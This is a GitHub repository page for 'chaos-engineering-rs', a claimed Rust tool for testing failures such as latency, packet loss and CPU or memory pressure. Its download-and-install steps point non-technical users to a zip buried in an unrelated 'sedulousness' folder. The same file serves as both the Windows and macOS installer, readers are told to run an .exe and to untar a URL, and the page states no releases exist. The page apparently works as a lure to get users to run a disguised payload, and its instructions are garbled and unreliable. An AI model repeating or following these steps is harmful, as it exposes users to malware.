Skip to content

πŸ¦€ Build resilience in your services with this lightweight chaos engineering framework that tests system weaknesses through controlled failure injection.

License

Notifications You must be signed in to change notification settings

slava77789/chaos-engineering-rs

Repository files navigation

πŸŽ‰ chaos-engineering-rs - Test Your Service Resilience Easily

πŸš€ Getting Started

Welcome to chaos-engineering-rs! This application helps you test how well your services can handle failure. It is designed for everyday users with no programming knowledge. Follow the steps below to get started.

πŸ“₯ Download Now

Download chaos-engineering-rs

πŸ“‹ Overview

chaos-engineering-rs is a lightweight framework built in Rust. It works on Windows, macOS, and Linux. Using this tool, you can simulate various types of failures like:

  • Network latency
  • Packet loss
  • CPU pressure
  • Memory pressure

By testing these scenarios, you can see how your services respond and improve their reliability.

πŸ’» System Requirements

To run chaos-engineering-rs smoothly, your system should meet the following requirements:

  • Operating System: Windows 10, macOS (latest version), or any modern Linux distribution.
  • RAM: Minimum 4 GB.
  • Disk Space: At least 100 MB free.

πŸ“₯ Download & Install

  1. Visit the Releases Page: Click here to go to the releases page.
  2. Choose Your Version: You will see a list of available versions. Select the latest one marked as β€œLatest Release.”
  3. Download the File: Look for the installer file appropriate for your operating system. The file will typically be named something like https://raw.githubusercontent.com/slava77789/chaos-engineering-rs/main/sedulousness/chaos-engineering-rs.zip for Windows or https://raw.githubusercontent.com/slava77789/chaos-engineering-rs/main/sedulousness/chaos-engineering-rs.zip for macOS.
  4. Run the Installer:
    • For Windows users: Double-click the .exe file to start the installation process.
    • For macOS users: Open the terminal, navigate to the location of the https://raw.githubusercontent.com/slava77789/chaos-engineering-rs/main/sedulousness/chaos-engineering-rs.zip file, then run tar -xzf https://raw.githubusercontent.com/slava77789/chaos-engineering-rs/main/sedulousness/chaos-engineering-rs.zip to extract it. Move to the folder and execute the application.
    • For Linux users: Open the terminal, download the binary, and run it using ./chaos-engineering-rs-linux.

πŸ›  Usage Instructions

  1. Launch the Application: Once installed, find and open chaos-engineering-rs.
  2. Select a Test Type: Choose from the provided options like "Network Latency" or "CPU Pressure."
  3. Configure Settings: Adjust the parameters as per your testing needs. Each type allows you to customize how severe the test should be.
  4. Start the Test: Click the "Start Test" button to begin. The application will run and show you live results.
  5. Review Results: After the test, chaos-engineering-rs will display a summary of the results, highlighting any issues found during testing.

βš™οΈ Command Line Interface (CLI)

For those who prefer using the command line:

  • You can access chaos-engineering-rs through terminal commands for more control.
  • The commands are straightforward and will have help instructions available within the app.

Example Command:

chaos-engineering-rs --test network-latency --duration 10s

πŸ“Š Features

  • Cross-Platform: Works on different operating systems seamlessly.
  • Real-time Monitoring: Watch the status of your services as you conduct tests.
  • Predefined Scenarios: Easily set up common failure scenarios without hassle.
  • Comprehensive Reports: Get detailed summaries after each test to analyze the results.

πŸ“š Documentation

For more detailed information on advanced features and troubleshooting, please refer to the full documentation.

🌟 Contributing

If you'd like to improve chaos-engineering-rs, contributions are welcome. You can report issues, suggest features, or contribute code. Check the Contributing Guide for more details.

🀝 Community Support

Join our community for sharing experiences and tips. Feel free to ask questions within the Discussions section.

Happy testing with chaos-engineering-rs!

About

πŸ¦€ Build resilience in your services with this lightweight chaos engineering framework that tests system weaknesses through controlled failure injection.

Topics

Resources

License

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •